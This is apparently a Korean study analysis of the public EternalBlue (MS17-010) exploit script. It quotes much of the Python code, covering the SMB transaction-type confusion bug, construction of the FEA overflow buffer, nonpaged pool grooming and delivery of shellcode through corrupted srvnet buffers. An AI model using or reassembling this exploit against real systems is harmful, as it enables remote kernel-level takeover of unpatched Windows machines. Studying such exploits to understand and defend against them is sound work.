original source - https://github.com/worawit/MS17-010/blob/master/eternalblue_exploit7.py
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
유저로부터 commandline argument로 ip
, shellcode_file
, numGroomConn
을 입력받는다.
ip
는 공격 대상의 ip, shellcode_file
은 실행시키고자 하는 쉘코드 파일의 주소, numGroomConn
은 kernel grooming에 사용되는 파라미터다.
세팅 후, exploit()
함수를 통해 실제 공격이 시작된다.
본 익스플로잇에서는 SMB 프로토콜 통신을 위해 오픈 소스 라이브러리인 impacket을 사용한다.
conn = smb.SMB(target, target)
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
print('This exploit does not support this target')
sys.exit()
먼저 원격 시스템과 커넥션을 구축(핸드쉐이크)하고, 해당 시스템이 본 익스플로잇에 맞는 OS를 사용하고 있는 지 확인한다.
해당하는 OS (windows 7 or windows server 2008)이 아닐 경우 종료한다.
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
그후 원격 시스템의 IPC$
공유폴더에 접근하고
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
최초의 NT Trans 요청을 보낸다.
이 때 파라미터 중 feaList
는 아래와 같다.
feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
- header 부분 : 0x10000, 초기에 지정된 크기 (이후 업데이트 되며, 취약점을 발생시키는 부분)
- body 부분 : ntfea[NTFEA_SIZE], 할당되는 pool의 크기에 따라 overflow를 발생시키기 위하여 크기가 유동적으로 조절됨
- overflow 부분 :
pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer
, 실제로 overflow되어 들어가는 부분 - stop 부분 : pack('<BBH', 0x12, 0x34, 0x5678), 추가로 복사되는 걸 막기위해 삽입되는 invalid flag
NT Trans 요청을 보낼 때 취약점을 한 가지 이용한다.
SMB transaction을 보낼 때는 올바른 SMB command를 보내주어야 한다.
한편, transaction message가 지정된 MaxBufferSize보다 클 경우, SECONDARY command를 다시 보내고 이를 통해 (추가적인?) message를 전송할 수 있다. 이 때 서버는 마지막으로 도착한 command를 사용하여 transaction을 처리한다.
그런데, 이 때 SMB command와 SECONDARY command가 매칭되지 않는 경우에도 서버가 오류를 발생시키지 않는 취약점이 존재한다.
가령, 다음의 경우,
SMB_COM_NT_TRANSACT
command로 transaction 시작SMB_COM_NT_TRANSACT_SECONDARY
와SMB_COM_TRANSACTION2_SECONDARY
command로 추가 전송SMB_COM_TRANSACTION2_SECONDARY
로 마지막 전송
오류가 발생하지 않으며, 서버는 마지막으로 전송된 SMB_COM_TRANSACTION2_SECONDARY
로 transaction을 처리한다.
문제는, SMB_COM_TRANSACTION2
의 TotalDataCount Field는 USHORT로 최대 0xffff 크기의 데이터를 전송가능한데, SMB_COM_NT_TRANSACT
의 TotalDataCount는 ULONG으로 그보다 더 큰 데이터도 전송가능하다.
이러한 취약점을 이용하여 본 함수에서는 큰 데이터를 전송한다.
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
먼저 전송할 패킷 오브젝트를 생성하고,
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
패킷의 command를 지정한다. 이 때, 큰 데이터를 전송하기 위하여 SMB_COM_NT_TRANSACT
로 지정한다.
그후 필요한 파라미터들을 적절히 추가한 뒤,
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB() # must be success
패킷을 전송한다.
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
다음으로, send_trans2_second()
함수를 통해 SECONDARY
command를 사용한 패킷 전송을 시작한다.
위 함수에서는 send_big_trans2()
와 유사하게 패킷을 구성하여 전송하며,
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
차이는 SMB command로 SMB_COM_TRANSACTION2_SECONDARY
를 사용한다는 점이다.
# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
다시 exploit()
함수로 돌아와서, overflow 시킬 수 있는 hole을 만드는 작업을 한다.
위의 코드에서, holeConn
은 할당된 후 free되어 overflow 시킬 수 있는 빈 공간이 되고, 그 주변을 srvnet.sys
buffer로 채운다.
이때 allocConn
은 kernel gromming을 돕는 역할을 하는 듯 한데 추가로 알아볼 필요가 있음.
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
위의 send_big_trans2()
를 살펴보면, 전송할 데이터의 마지막 남은 부분을 전송하지 않도록 되어있는데, 위의 코드에서 그 마지막 부분을 전송한다.
이를 수행함으로써, 앞서 빈 hole을 만든 buffer에 전송된 데이터가 삽입되는 것으로 판단된다.
물음 : 그냥 처음에 hole을 만들어놓고 다 전송하면 안되는 건가?
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
할당된 모든 srvnet.sys
buffer에 페이로드 패킷을 전송한다. 그 중 overflow가 일어나 header가 변형된 것이 있다면 페이로드가 HAL heap 영역에 입력된다.
# execute shellcode by closing srvnet connection
for sk in srvnetConn:
sk.close()
커넥션을 닫을 때 SrvNetCommonReceiveHandler()
로 인해 shellcode가 실행된다.